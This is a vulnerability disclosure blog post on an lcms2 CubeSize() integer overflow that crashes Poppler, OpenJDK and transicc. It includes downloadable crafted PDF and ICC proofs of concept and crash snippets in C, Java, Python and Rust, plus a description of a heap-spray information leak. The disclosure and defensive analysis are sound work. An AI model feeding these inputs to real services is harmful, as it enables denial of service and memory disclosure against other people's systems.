A 992-Byte PDF That Crashes Poppler (and an lcms2 Bug That Also Hits OpenJDK and Friends)

lcms2's CubeSize() does a check-after-multiply on a uint32. A crafted ICC profile with ≥5 CLUT channels makes it return a wrapped value, the caller undersizes the CLUT buffer, and the interpolator reads past the end. A 992-byte PDF crashes Poppler; a one-line Java call crashes OpenJDK 21; lcms2's own transicc -l crashes. Fix is in master since February, unreleased, no CVE, GHSA closed.

Posted **Apr 17, 2026** • Updated **Apr 17, 2026**

By **Abhinav Agarwal**

 • **13 min** read

Contents >

Summary

Little CMS (`lcms2`) has a check-after-multiply integer overflow in `CubeSize()` at `src/cmslut.c:461` . Feed it an ICC profile with ≥5-channel CLUT grid dimensions and the function returns a wrapped value; the caller undersizes the CLUT buffer; then during transform construction (`OptimizeByResampling → cmsStageSampleCLut16bit`) or `cmsDoTransform` , the interpolator reads past the buffer end. SIGSEGV.

On stock Ubuntu 24.04 LTS:

- A **992-byte PDF** crashes `pdftoppm` and `pdftocairo` (Poppler).
- A short Java snippet — `ICC_Profile.getInstance(bytes)` + `ICC_ColorSpace.toRGB(float[])` — crashes OpenJDK 21.
- `transicc -l` (lcms2's own bundled utility) crashes on a 4,819-byte device-link profile.
- Short programs in Python (`ctypes` , 14 lines) and Rust (`lcms2` crate 5.6, 5 lines) crash on `cmsCreateTransform` .

Upstream fixed the bug in `da6110b` (Feb 2026) and `e0641b1` (Mar 2026). No release. No CVE. The GHSA I filed (`GHSA-4xp6-rcgg-m9qq`, private — advisory is not publicly visible) was closed without engagement. This post is the public disclosure.

> **Affected:** all released versions through **lcms2 2.18**. Directly validated on `liblcms2-2 2.14-2build1` (Ubuntu 24.04 LTS) and `2.18` (Homebrew). Debian bookworm ships `liblcms2-2 2.16-2`; Fedora ships `lcms2 2.16`; Alpine edge ships `lcms2 2.17-r0`. Any distro on `lcms2 <= 2.18` is vulnerable.

The Bug

```c
static cmsUInt32Number CubeSize(const cmsUInt32Number Dims[], cmsUInt32Number b)
{
    cmsUInt32Number rv, dim;
    _cmsAssert(Dims != NULL);
    for (rv = 1; b > 0; b--) {
        dim = Dims[b-1];
        if (dim <= 1) return 0;
        rv *= dim;                          // wraps silently on uint32 overflow
        if (rv > UINT_MAX / dim) return 0;  // guards the WRAPPED value — too la
    }
    // ...
}
```

With attacker-chosen dims that overflow but leave `rv` small after the wrap, the guard passes and the function returns a value far smaller than the true product.

With dims `[61, 7, 161, 245, 255]`, `inputChan=5`:

Iter	dim	pre-mul rv	post-mul rv (uint32)	Guard `rv > UINT_MAX`
b=5	255	1	255	`255 > 16,843,009`
b=4	245	255	62,475	`62,475 > 17,530,478`
b=3	161	62,475	10,058,475	`10,058,475 > 26,676`

Iter	dim	pre-mul rv	post-mul rv (uint32)	Guard `rv > UINT_MAX`
b=2	7	10,058,475	70,409,325	`70,409,325 > 613,56`
b=1	61	70,409,325	**`(70,409,325 × 61) mod 2³² = 1,529`**	`1,529 > 70,409,299`

`CubeSize()` returns **1,529**. The real CLUT has **4,294,968,825** nodes — ~2.8 million times larger. The caller allocates `outputChan × 1,529 × sizeof(uint16) = 9,174 bytes` for a 5CLR→Lab profile. The parse-time read loop writes exactly that many bytes into the allocation — **no heap-write overflow during parsing.**

The fault is a **heap read overflow during interpolation.** The stride table `opta[]` in `cmsintrp.c` is computed from the *real* dims (not the wrapped CubeSize), so `Eval5Inputs` / `Eval4Inputs` compute offsets far past the end of `Tab.T[]`. CWE-190 causes CWE-125.

`da6110b` widens `rv` to `cmsUInt64Number`; `e0641b1` moves the guard before the multiply. Neither commit message mentions security, memory safety, or CVE.

The 992-Byte PDF

On any Ubuntu 24.04 LTS box with `poppler-utils`:

```shell
wget https://abhinavagarwal07.github.io/assets/poc/lcms2-cubesize/poc_iccbased_5c
wc -c poc_iccbased_5ch.pdf       # → 992 bytes
sha256sum poc_iccbased_5ch.pdf   # → 5c328a4362185c6dca2d6cae13c74ed456889798220f
pdftoppm poc_iccbased_5ch.pdf /tmp/out
```

`pdftoppm` SEGVs. Under ASAN:

```plaintext
AddressSanitizer: SEGV
  #... Eval4Inputs                    cmsintrp.c:909
  #... Eval5Inputs
  #... _LUTeval16
  #... cmsCreateTransform             (system liblcms2.so.2)
```

```
#... GfxICCBasedColorSpace::buildTransforms
#... Gfx::doImage
#... Page::displaySlice
#... pdftoppm
```

`pdftocairo` crashes on the same PDF with the same stack. The PDF contains a 1×1-pixel image XObject whose `/ColorSpace` references `[/ICCBased 5 0 R]`, where object 5 is an `/N 5 /Alternate /DeviceCMYK /Filter /FlateDecode` stream containing the zlib-compressed malicious ICC profile. Poppler's `GfxICCBasedColorSpace::parse()` emits `Syntax Error: ICCBased color space with too many (5 > 4) components` — but despite the "Error" label it **does not abort**. It still calls `buildTransforms()` → `cmsCreateTransform()` and hits the bug.

Generator: `gen_poc.py` — rebuild with any ICC via `python3 gen_poc.py mal_5ch.icc out.pdf`.

Reachability Matrix

Ubuntu 24.04 LTS, stock `liblcms2-2 2.14-2build1`:

Consumer
tumblerd (D-Bus auto-activated thumbnail service — default on Xfce, available on GNOME as a fallbacl
`evince-thumbnailer` (GNOME's PDF thumbnailer, invoked by tumbler and the GnomeDesktop API)
Poppler `pdftoppm` / `pdftocairo` / `pdfimages -list`
Okular 4:23.08.5 (KDE PDF viewer, xvfb-run)
cups-filters pdftoraster 2.0.0
GIMP 2.10.36 `file-pdf-load` (xvfb-run, headless)
LibreOffice import
OpenJDK 21 (Ubuntu 24.04, system liblcms2)
OpenJDK 21 Temurin 21.0.9 (Windows Server 2022)
`transicc -l` (lcms2's own utility)

Consumer
Python `ctypes` → `liblcms2.so.2`
Rust `lcms2` crate 5.6
Ghostscript 10
ImageMagick `convert` / `tificc` / `jpgicc`
Pillow `ImageCms`
libvips 8.15
Node.js `@kittl/little-cms`

The Poppler and OpenJDK paths are AV:N-reachable through any service that renders attacker-uploaded PDFs or processes attacker-supplied ICC bytes in a Java pipeline. The Python/Rust/`transicc` paths are direct-library; any networked application wrapping them inherits the reachability.

Scope: Linux reachability tested on Ubuntu 24.04 LTS stock packages. Windows tested on OpenJDK 21 Temurin LTS / Windows Server 2022 (the Temurin 21.0.9+10 build ships a vulnerable `lcms.dll`). macOS consumer paths, non-JDK Windows consumers (Adobe Acrobat, Edge PDF, Office preview), and Ghostscript's `lcms2mt` fork were not audited — `lcms2mt` in particular almost certainly carries the same `CubeSize()` pattern and downstream forks should diff against `da6110b` + `e0641b1`.

JDK-bundled lcms: Temurin tested, others not. The Temurin 21.0.9 Windows crash confirms that specific build is vulnerable via its bundled `lcms.dll`. Oracle JDK, Amazon Corretto, Zulu, and Microsoft OpenJDK are known to bundle their own lcms2 source trees but were not tested — patch status per vendor is unknown. (On Ubuntu, OpenJDK 21 uses the system `liblcms2.so.2`, so patching the distro library fixes both Poppler and JDK paths at once.)

Reproducing

All artifacts: `/assets/poc/lcms2-cubesize/`.

Direct C POC — three modes, same bug:

```shell
wget https://abhinavagarwal07.github.io/assets/poc/lcms2-cubesize/icc_crash_poc_v
sudo apt install liblcms2-dev
gcc -fsanitize=address -g -O0 -o poc_v2 icc_crash_poc_v2.c -llcms2 -lm

./poc_v2               # 7CLR, default flags → SEGV in cmsCreateTransform
./poc_v2 --small       # 5CLR 4.8 KB, default flags → SEGV in cmsCreateTransform
./poc_v2 --do-crash    # 7CLR, NOOPTIMIZE → SEGV in cmsDoTransform
```

The `--do-crash` stack's `liblcms2.so.2+0x2a584` offset matches my original GHSA comment byte-for-byte.

OpenJDK 21:

```shell
sudo apt install openjdk-21-jdk-headless
wget https://abhinavagarwal07.github.io/assets/poc/lcms2-cubesize/{JdkPoc.java,ma
javac JdkPoc.java && java JdkPoc mal_7ch.icc     # SIGSEGV + hs_err_pidN.log
```

hs_err top frame: `C [liblcms2.so.2+0xb503] Eval4Inputs+643` under the 5CLR profile, atop `cmsCreateExtendedTransform` → `cmsCreateTransform`. The 7-channel `JdkPoc` variant crashes at `+0xb598` in the same `Eval4Inputs` region with the larger profile; both trigger the JVM path.

Device-link via `transicc` — lcms2's own utility crashing on its own test harness:

```shell
wget https://abhinavagarwal07.github.io/assets/poc/lcms2-cubesize/mal_5ch_link.ic
transicc -l mal_5ch_link.icc     # → Segmentation fault, exit 139
```

The profile's `class` field at offset 12 is `link` (0x6C696E6B); `build_link_profile.py` emits the variant.

Python (ctypes):

```python
import ctypes
# TYPE_CMYK5_8 = (PT_MCH5<<16) | (5<<3) | 1 = 0x00130029
# TYPE_RGB_8   = (PT_RGB<<16)  | (3<<3) | 1 = 0x00040019
TYPE_CMYK5_8, TYPE_RGB_8 = 0x00130029, 0x00040019
L = ctypes.CDLL("liblcms2.so.2")
L.cmsOpenProfileFromMem.restype = ctypes.c_void_p
L.cmsCreate_sRGBProfile.restype = ctypes.c_void_p
L.cmsCreateTransform.restype   = ctypes.c_void_p
with open("mal_5ch.icc", "rb") as f: data = f.read()
prof = L.cmsOpenProfileFromMem(data, len(data))
srgb = L.cmsCreate_sRGBProfile()
L.cmsCreateTransform(ctypes.c_void_p(prof), TYPE_CMYK5_8,
                     ctypes.c_void_p(srgb), TYPE_RGB_8, 0, 0)   # SEGV
```

Rust (5 lines after Cargo.toml):

```rust
// Cargo.toml: lcms2 = "5.6"
use lcms2::*;
let data = std::fs::read("mal_5ch.icc")?;
let prof = Profile::new_icc(&data)?;
let srgb = Profile::new_srgb();
Transform::new(&prof, PixelFormat::CMYK5_8, &srgb,
               PixelFormat::RGB_8, Intent::Perceptual)?;    // SEGV
```

Suggested CVSS

Scope	Vector
Original GHSA (direct API, AV:L/UI:R)	`AV:L/AC:L/PR:N/UI:`
Poppler / OpenJDK reachability (UI:R)	`AV:N/AC:L/PR:N/UI:`
Server-side Poppler thumbnailer (UI:N)	`AV:N/AC:L/PR:N/UI:`
With info disclosure (see next section; Ubuntu glibc, ASLR off), UI:R	`AV:N/AC:L/PR:N/UI:`

Scope	Vector
Same, UI:N (server-side Poppler thumbnailer / any headless render worker)	`AV:N/AC:L/PR:N/UI:`

I don't have a write primitive (so no I:H, no 9.8). I did look at `PatchLUT` in `cmsopt.c:632` (reachable via `FixWhiteMisalignment`) as a possible mirror of the read side, but the math doesn't reach a signed-int wrap there: `outputChan` is capped at 4 by `_cmsEndPointsBySpace`, dims are uint8, and `CubeSize`'s `rv > UINT_MAX/15` tail-guard pins the 4-D product around 286M — so the maximum write index stays under `INT_MAX`. Upstream could still cast that index to `uint64_t` as hardening, but there's nothing exploitable there today.

Information Disclosure (CWE-200)

Coarse but real. On Ubuntu 24.04 LTS (`liblcms2-2 2.14-2build1`), with ASLR off (`setarch -R`) and glibc's default allocator, the first output byte of `cmsDoTransform` tracks a pre-run heap-seed byte for specific inputs — a seed-correlated heap-read channel. It isn't an arbitrary-heap-read: the output byte isn't a raw heap byte but a `LinearInterp` of two 16-bit heap reads run back through the sRGB output pipeline, so bytes come back with some blur. The reliable window on the 5CLR profile is axis 3's `[-365 KB, -1.5 KB]` offsets below the CLUT allocation. Writeup: `infoleak_linux_results.md`. Sample log files: `sweep_seed_00.log`, `sweep_seed_AA.log`, `sweep_seed_CC.log`, `sweep_seed_FF.log`.

Two small quirks in `cmsintrp.c` make this work:

- `EVAL_FNS(N,NM)` short-circuits the far-corner read when `Input[i] == 0xFFFFU` (it sets `K1 := K0`). With 8-bit input, `FROM_8_TO_16(0xFF) == 0xFFFFU`, so byte `0xFF` on an axis collapses that axis's binary-tree branch. Setting 4 of 5 axes to `0xFF` cuts the usual 2^5=32 corner reads down to 2.
- `opta[NM]` is a `cmsUInt32Number`; the product `opta[NM] * k0` is computed as uint32 and wraps mod 2^{32}. The wrapped value is then stored in `int K0`. Anything above 2^{31} reinterprets as a large negative `int`, so `LutTable + K0` reads before the CLUT allocation — into heap we've just sprayed.

For the 5CLR overflow profile with `opta = [3, 765, 187425, 30175425, 211227975]`, axis 3 (`opta[1] = 765`) gives offsets in `[-365 KB, -1.5 KB]`, which a 260 MB malloc spray covers comfortably.

Sample evidence (from the per-seed `sweep_seed_XX.log` files linked above):

```
Plaintext
seed=0xAA  axis=3 in=0xd9  out=aa3b53    ← byte[0] = seed
seed=0xAA  axis=3 in=0xf5  out=add800    ← byte[0] ≈ seed
seed=0xCC  axis=3 in=0xd9  out=e32b45    ← byte[0] tracks with seed
seed=0xCC  axis=3 in=0xf5  out=ebe300    ← byte[0] tracks with seed

seed=0xAA  axis=3 in=0xea  out=005f91    ← control (in-bounds), invariant
seed=0xCC  axis=3 in=0xea  out=005f91    ← same
```

The control input (`0xea`, in-bounds) returns byte-identical output across all 16 seeds; OOB inputs (`0xd9` / `0xf4` / `0xf5`) return outputs whose first byte tracks the heap seed.

Caveats: ASLR must be off, and glibc's default allocator is assumed. Axis 3 is the reliable surface; axes 0–2 fall too far out of bounds without `MAP_FIXED` reservations or multi-GB sprays. Byte-to-seed correlation is sharp but not byte-exact, because reads go through a `LinearInterp` plus the sRGB output stage. This is a seed-correlated heap-read channel on Linux, not an arbitrary read.

`infoleak_linux_results.md` has the full writeup — mechanism, what didn't work, `/proc/self/maps` evidence, verdict. The runnable POC is available on request rather than shipped inline.

Timeline

Date	Event
2010-10	Check-after-multiply pattern introduced in `CubeSize()`
2023-04-17	`5b08385` adds `rv > UINT_MAX/15` tail-guard with message *"Overflow here is harmle*
2026-01-09	lcms2 2.18 released — still vulnerable

Date	Event
2026-02-19	`da6110b` widens `rv` to uint64
2026-03-12	`e0641b1` reorders guard before multiply
2026-04-07	`429ea28`: *“silence the continuous spam reports of people using AI to catch what they*
2026-04-13	`GHSA-4xp6-rcgg-m9qq` filed (private advisory)
2026-04-14	MITRE CVE request filed via `cveform.mitre.org` (ticket *CVE Request 2025002*). Submi
2026-04-16	Asked the maintainer on the GHSA whether he’d triage, told him I’d publish otherwise
2026-04-17	GHSA closed without engagement; public disclosure. Evidence at disclosure time (reac

No release. No CVE. No distro backport as of this writing.

On the Maintainer’s Response

The maintainer fixed the bug, credited both external reporters, but released nothing and closed the (private) GHSA without engagement. Context: commit `5b08385` in April 2023 added a partial guard under the heading *“prevent to allocate a big chunk of memory on corrupted LUT”* and the body note *“Overflow here is harmless, but caller code may try to allocate a big chunk of memory, which will be immediatly freed because file size does not match.”* That framing is accurate only when the wrapped value is *large* (the allocator balks at the size and the file truncates). For the narrow dim sequences that wrap to *small* values, the allocator accepts the size, parsing proceeds, and the downstream transform crashes through Poppler and OpenJDK on a default Linux box.

The fix has been on `master` for two months. lcms2’s last four release gaps were 3.9, 9.1, 14.1, and 11.1 months — call it 4–14. Distros don’t backport unreleased fixes without a CVE. Public disclosure triggers CVE assignment and distro tracking; holding means the bug stays in shipping packages indefinitely.

References

- Upstream fixes: `da6110b`, `e0641b1`
- Vulnerable source: `src/cmslut.c:461`
- CWE-190 · CWE-125
- Prior CVEs in the same codebase: CVE-2018-16435, CVE-2016-10165
- POC artifacts: `/assets/poc/lcms2-cubesize/`

Security, Advisory

lcms2 little-cms icc-profile integer-overflow cwe-190 cwe-125 poppler openjdk

Share:

Further Reading

Apr 17, 2026

ML-DSA Forgery, Part 2: Off-Process Key Recovery in wolfSSL

The same wolfSSL ML-DSA heap-zeroization bug is exploitable from off-process: via crash-reporter core ingest, and via cross-process /proc/$pid/mem. Both verified end-to-end against installed libwolfssl.

Apr 13, 2026

"Shall Destroy, Did Not": Recovering ML-DSA Private Keys from wolfSSL's Heap

wolfSSL's ML-DSA signing implementation does not destroy private key material after use, violating FIPS 204 Section 3.6.3. The unzeroed heap block is recoverable via same-process allocation, enabling end-to-end signatur…

Mar 25, 2026

Coming Soon: OpenSSL Vulnerability Disclosure

A new vulnerability in OpenSSL will be disclosed here soon. Stay tuned.

OLDER

"Shall Destroy, Did Not": Recovering ML-DSA Private Keys from wolfSSL's Heap

NEWER

ML-DSA Forgery, Part 2: Off-Process Key Recovery in wolfSSL

Loading comments…